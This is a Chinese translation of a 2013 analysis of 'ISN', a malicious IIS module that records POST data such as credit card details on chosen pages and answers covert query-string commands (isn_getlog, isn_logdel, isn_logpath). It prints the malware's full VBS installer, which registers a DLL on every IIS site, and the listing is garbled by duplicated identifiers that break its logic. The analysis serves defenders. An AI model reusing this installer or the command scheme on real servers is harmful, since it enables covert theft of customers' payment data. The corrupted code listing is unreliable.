1、摘要
最近,国外安全公司发现了一些以DLL动态链接库形式存在的IIS模块存在恶意风险,这些恶意模块之所以受关注,很大原因是因为它们能躲过目前几乎所有的反病毒产品,攻击者借助这些模块发送恶意POST数据包,并遵循恰当的机制以此来获得敏感信息。
这种恶意程序的目标不仅仅局限于银行、电子商务网站的加密数据,同时还被用来获取例如登录账户及其他被发送到IIS实例上的数据(HTTP Header、MS-Chap令牌等)。同时要注意的是,这次发现的恶意软件漏洞和之前报告的恶意软件"Pony"没有任何关系。Pony主要针对的是终端用户,而这个IIS Module恶意程序主要是针对Web Server的。以下为报告译文:
下面是这次发现的恶意程序在各大反病毒引擎上的检查结果:
https://www.virustotal.com/en/file/587e784f8c54b49f25c01e0e8f71c205bd422e2b673fb7fbf28d721aa768e055/
事实证明,我所引用的这个DLL是一个IIS的原生安装模块,我想也该是时候对这种恶意程序进行一个总结了,之所以这么做,有以下2个原因:
a)在我写这篇文章的时候,大部分的反病毒软件都不会IIS目录下的DLL模块进行必要的检查(通过设置白名单等),这导致了IIS的重要模块被替换后无法被杀毒软件捕获到异常。虽然病毒的安装程序(用于进行替换工作的程序)也只是被少数的反病毒软件检测出异常,因为这些检测出异常的杀毒引擎大多数采取了"启发式扫描";
b)我觉得这个恶意代码非常的精巧。
2、介绍
让我们先看一下这个病毒的安装程序。程序允许带许多参数变量以适应不同的环境:
-path : [恶意程序将被安装的路径] -i : [目标URL地址, 例如 "/sensitive.aspx" -u : [卸载恶意程序] -is632 : [IIS6 32-Bit] -is664 : [IIS6 64-Bit]
事实上,安装程序非常简单。它包含有四个内嵌的式DLL文件(在PE结构的资源节区中),在安装的时候根据目标系统的版本进行动态选择:
IIS6 + 32-Bit IIS6 + 64-Bit IIS7 + 32-Bit IIS7 + 64-Bit
此外,这个ISN恶意程序也有一个VBS文件被嵌入到了PE的资源节区中(文件的内容请参考引用部分),这个VBS脚本文件用于安装或者卸载用于替换IIS模块的恶意DLL文件(即上面说到那4个DLL文件)。
一旦运行,ISN.exe将执行以下操作:
1. 将根据我们"-path"指定的位置,或者当前的工作目录。把VBS复制到这个路径下,为后面的安装做准备,这个VBS文件将在安装完成删除,不会留下痕迹。 2. 创建一个配置文件([文件].cfg)在同一个目录中。这个文件包含一个列表。 3. 恶意程序的目标URL列表。 4. 检查IIS版本以及攻击目标的操作系统架构。 5. 提取相应的DLL到安装目录(从PE的资源节区中)。 6. 调用VBS文件文件将恶意的DLL模块安装为IIS的模块。(IIS只是通过DLL的文件名进行动态加载,即使这是一个恶意程序,DLL签名技术在这里并不能起到防御作用)。
解压运行后的情况如下图:
在安装的过程中会产生一些日志信息,这些信息有助于我们判断安装是否成功以及失败的原因:
一旦成功安装的模块,它将监控在配置文件(isn.cfg)中指定的uri和dump(记录)任何捕获到的POST请求,将这些信息记录到[fileName].log中。该模块还将监控QUERY_STRING参数(IIS中的GPC参数,相当于PHP中的$_REQUEST),并可以接受一些攻击者发送的命令(就像一个webshell一样)。我编写了一个简单的IIS实例来演示这个过程如何发生。
3. 演示
如下我们可以看到,我已经创建了一个简单的web表单,将模拟一个实际的电子商务网站。用户输入他们的名字和信用卡号码和提交信息,然后脚本"/buy.aspx"返回用户输入的数据。
在本次演示中,我设置一个自签名证书(self-signed certificate ),这样所有的HTTP交互都通过SSL通信。
现在,所有的正常的HTTP业务通信都先和我们的恶意程序进行了交互,这里要注意的,我们必须在配置文件中明确指明我们要"跟踪"的脚本文件(例如,buy.aspx)。这样,当指定的.aspx脚本产生HTTP通信时,ISN.EXE会自动对捕获到的数据进行记录
我前面提到的,这个恶意程序可以像webshell那样工作,原因是因为它同时监测QUERY_STRING参数并对其中包含的"特征字符串"进行匹配检索。具体地说,它将寻找以下命令:
1. isn_getlog——的内容并返回。日志文件 2. isn_logdel——删除并。日志文件 3. isn_logpath——返回的路径并。日志文件
这些命令可以简单地通过提供GET参数进行远程发送。
"isn_getlog" example:
"isn_logdel" example:
"isn_logpath" example:
4. 总结
总的来说,这个恶意软件似乎没有广泛传播,只有在一些个人的案例中出现。然而,极低的检出率与恶意软件的目标功能的结合使这中恶意程序成为一个非常现实的威胁。
Trustwave WebDefend和ModSecurity可用于在"感染路径"的起点阻止这个恶意程序,它们可以检测是否敏感的用户数据,如信用卡号码出现在出站数据中(outbound data)。ModSecurity的链式过滤规则可以很好的对付这个问题,保证数据从入站到出站每一个环节的安全。
5. 引用
isn.exe http://www.findthatfile.com/search-1990823-fEXE/software-tools-download-isn-exe.htm HASP.EXE http://www.xrite.com/product_overview.aspx?ID=593&Action=support&SupportID=3339 installer (9/48) – https://www.virustotal.com/en/file/587e784f8c54b49f25c01e0e8f71c205bd422e2b673fb7fbf28d721aa768e055/analysis/ VBS File (0/49) – https://www.virustotal.com/en/file/688b80289a0c3771c7cee689c50a61b1c5215e8e5ac39a1120b3c7e4f4ada002/analysis/ IIS6 64-Bit (0/49) – https://www.virustotal.com/en/file/956ed56ecc574f68b637e22add7c8e3cb0deea3b1e0dd02abea165bfcb7e3786/analysis/ IIS6 32-Bit (0/47) – https://www.virustotal.com/en/file/9f501c052f2d4f4b0954f6060c7111f272ae29f9d88188d37c961c38e13e3905/analysis/ IIS7+ 64-Bit (0/46) – https://www.virustotal.com/en/file/c6847600910ab196652a38e94ecf592e645d43025d1d61b3710b2f715238307b/analysis/ IIS7+ 32-Bit (0/47) – https://www.virustotal.com/en/file/157174f0b9be66e3c9090c95efdd1dd23b19e42aa671758ebac5540a173f760c/analysis/ Content of VBS File – https://gist.github.com/jgrunzweig/7840987
- OPTION EXPLICIT
- DIM CRLF, TAB
- DIM strServer
- DIM objWebService
- DIM WebSvcObj
- dim webID
- dim DllName
- dim strScriptMap
- dim objVDir
- dim arrScriptMaps
- dim arrScriptMapsTmp
- dim ISAPIlist
- dim bAdd
- dim bRemove
- dim i
- dim j
- dim cc
- TAB = CHR( 9 )
- CRLF = CHR( 13 ) & CHR( 10 )
- ISAPIlist = 0
- bAdd = 0
- bRemove = 0
- cc = 0
- If Wscript.Arguments.Count < 2 Then
- If Wscript.Arguments.Count = 0 Then
- Wscript.Echo "cscript isn.vbs /add
- add to all web sites" - Wscript.Echo "cscript isn.vbs /remove
- remove from all web sites" - Wscript.Echo "cscript isn.vbs /isapilist
- list ISAPI for web site " - Wscript.Echo "cscript isn.vbs /weblist - list web sites"
- Wscript.Echo "Example:"
- Wscript.Echo "cscript isn.vbs /add C:\WINDOWS\isn\isn.dll"
- Wscript.Echo "cscript isn.vbs /remove isn.dll"
- Wscript.Quit
- Else
- If Wscript.Arguments(0)="/weblist" Then
- 'list web sites id and names
- SET objWebService = GetObject( "IIS://localhost/W3SVC" )
- EnumWebsites(objWebService)
- Wscript.Quit
- Else
- Wscript.Echo "wrong param"
- Wscript.Quit
- End If
- End If
- Else
- If Wscript.Arguments(0)="/isapilist" Then
- webID = Wscript.Arguments(1)
- ISAPIlist = 1
- ElseIf Wscript.Arguments(0)="/add" Then
- bAdd = 1
- DllName = Wscript.Arguments(1)
- ElseIf Wscript.Arguments(0)="/remove" Then
- bRemove = 1
- DllName = Wscript.Arguments(1)
- End If
- End If
- If ( (bAdd=0) And (bRemove=0) And (ISAPIlist=0) ) Then
- Wscript.Echo "Wrong params!"
- Wscript.Quit
- End If
- If bAdd=1 Then
- SET objWebService = GetObject( "IIS://localhost/W3SVC" )
- strScriptMap = "*,"+DllName+",4,All"
- AddToWebsites(objWebService)
- Set WebSvcObj = GetObject("IIS://LocalHost/W3SVC")
- WebSvcObj.EnableExtensionFile("*.dll")
- WebSvcObj.SetInfo
- End If
- If bRemove=1 Then
- SET objWebService = GetObject( "IIS://localhost/W3SVC" )
- RemoveFromWebsites(objWebService)
- Set WebSvcObj = GetObject("IIS://LocalHost/W3SVC")
- WebSvcObj.DisableExtensionFile("*.dll")
- WebSvcObj.SetInfo
- Wscript.Echo DllName + " deleted"
- End If
- If ISAPIlist=1 Then
- Set objVDir = GetObject("IIS://LocalHost/W3SVC/"+webID+"/Root")
- arrScriptMaps = objVDir.Get("ScriptMaps")
- For i = LBound(arrScriptMaps) to UBound(arrScriptMaps)
- Wscript.Echo arrScriptMaps(i)
- Next
- Wscript.Quit
- End If
- FUNCTION AddToWebsites( objWebService )
- DIM objWebServer, strBindings
- FOR EACH objWebServer IN objWebService
- IF objWebserver.Class = "IIsWebServer" THEN
- Set objVDir = GetObject("IIS://LocalHost/W3SVC/"+objWebserver.Name+"/Root")
- arrScriptMaps = objVDir.Get("ScriptMaps")
- arrScriptMapsarrScriptMapsTmp = arrScriptMaps
- ReDim Preserve arrScriptMaps(UBound(arrScriptMaps) + 1)
- j = LBound(arrScriptMaps)
- arrScriptMaps(j) = strScriptMap
- j = 0
- For i = 1 to UBound(arrScriptMaps)
- arrScriptMaps(i)=arrScriptMapsTmp(j)
- jj = j+1
- Next
- objVDir.Put "ScriptMaps", arrScriptMaps
- objVDir.SetInfo
- Wscript.Echo "Add "+DllName+" to Web Site ID "+objWebserver.Name+" success!"
- END IF
- NEXT
- END FUNCTION
- FUNCTION RemoveFromWebsites( objWebService )
- DIM objWebServer, strBindings
- FOR EACH objWebServer IN objWebService
- IF objWebserver.Class = "IIsWebServer" THEN
- Do
- Set objVDir = GetObject("IIS://LocalHost/W3SVC/"+objWebserver.Name+"/Root")
- arrScriptMaps = objVDir.Get("ScriptMaps")
- arrScriptMapsarrScriptMapsTmp = arrScriptMaps
- cc=0
- For i = LBound(arrScriptMapsTmp) to UBound(arrScriptMapsTmp)
- If InStr(arrScriptMapsTmp(i), DllName)>0 then
- arrScriptMapsTmp(i) = ""
- cccc=cc+1
- Wscript.Echo "Found "+DllName+" in "+objWebserver.Name+", delete"
- 'exit for 'exit loop
- End If
- Next
- If cc=0 Then
- Wscript.Echo DllName+" in "+objWebserver.Name+" NOT found"
- Exit Do
- End If
- ReDim Preserve arrScriptMaps(UBound(arrScriptMaps)-cc)
- j = LBound(arrScriptMapsTmp)
- for i = LBound(arrScriptMapsTmp) to UBound(arrScriptMapsTmp)
- If arrScriptMapsTmp(i)<>"" Then
- arrScriptMaps(j)=arrScriptMapsTmp(i)
- jj = j+1
- End If
- Next
- objVDir.Put "ScriptMaps", arrScriptMaps
- objVDir.SetInfo
- Exit Do
- Loop While False
- END IF
- NEXT
- END FUNCTION
- FUNCTION EnumWebsites( objWebService )
- DIM objWebServer, strBindings
- FOR EACH objWebServer IN objWebService
- IF objWebserver.Class = "IIsWebServer" THEN
- WScript.Echo _
- "Site ID = " & objWebserver.Name & CRLF & _
- "Comment = """ & objWebServer.ServerComment & """ " & CRLF & _
- "State = " & State2Desc( objWebserver.ServerState ) '& CRLF & _
- '"LogDir = " & objWebServer.LogFileDirectory & _
- '""
- ' Enumerate the HTTP bindings (ServerBindings) and
- ' SSL bindings (SecureBindings)
- 'strBindings = EnumBindings( objWebServer.ServerBindings ) & _
- ' EnumBindings( objWebServer.SecureBindings )
- 'IF NOT strBindings = "" THEN
- ' WScript.Echo "IP Address" & TAB & _
- ' "Port" & TAB & _
- ' "Host" & CRLF & _
- ' strBindings
- 'END IF
- END IF
- NEXT
- END FUNCTION
- FUNCTION EnumBindings( objBindingList )
- DIM i, strIP, strPort, strHost
- DIM reBinding, reMatch, reMatches
- SET reBinding = NEW RegExp
- reBinding.Pattern = "([^:]*):([^:]*):(.*)"
- FOR i = LBOUND( objBindingList ) TO UBOUND( objBindingList )
- ' objBindingList( i ) is a string looking like IP:Port:Host
- SET reMatches = reBinding.Execute( objBindingList( i ) )
- FOR EACH reMatch IN reMatches
- strIP = reMatch.SubMatches( 0 )
- strPort = reMatch.SubMatches( 1 )
- strHost = reMatch.SubMatches( 2 )
- ' Do some pretty processing
- IF strIP = "" THEN strIP = "All Unassigned"
- IF strHost = "" THEN strHost = "*"
- IF LEN( strIP ) < 8 THEN strIPstrIP = strIP & TAB
- EnumBindingsEnumBindings = EnumBindings & _
- strIP & TAB & _
- strPort & TAB & _
- strHost & TAB & _
- ""
- NEXT
- EnumBindingsEnumBindings = EnumBindings & CRLF
- NEXT
- END FUNCTION
- FUNCTION State2Desc( nState )
- SELECT CASE nState
- CASE 1
- State2Desc = "Starting (MD_SERVER_STATE_STARTING)"
- CASE 2
- State2Desc = "Started (MD_SERVER_STATE_STARTED)"
- CASE 3
- State2Desc = "Stopping (MD_SERVER_STATE_STOPPING)"
- CASE 4
- State2Desc = "Stopped (MD_SERVER_STATE_STOPPED)"
- CASE 5
- State2Desc = "Pausing (MD_SERVER_STATE_PAUSING)"
- CASE 6
- State2Desc = "Paused (MD_SERVER_STATE_PAUSED)"
- CASE 7
- State2Desc = "Continuing (MD_SERVER_STATE_CONTINUING)"
- CASE ELSE
- State2Desc = "Unknown state"
- END SELECT
- END FUNCTION
- The Curious Case of the Malicious IIS Module
- Reference From: http://blog.spiderlabs.com/2013/12/the-curious-case-of-the-malicious-iis-module.html
- Translated By: LittleHann
网站标题:恶意软件伪装成IIS模块加载多数防毒产品免杀
网页网址:http://www.mswzjz.cn/qtweb/news34/328634.html
攀枝花网站建设、攀枝花网站运维推广公司-贝锐智能,是专注品牌与效果的网络营销公司;服务项目有等
声明:本网站发布的内容(图片、视频和文字)以用户投稿、用户转载内容为主,如果涉及侵权请尽快告知,我们将会在第一时间删除。文章观点不代表本网站立场,如需处理请联系客服。电话:028-86922220;邮箱:631063699@qq.com。内容未经允许不得转载,或转载时需注明来源: 贝锐智能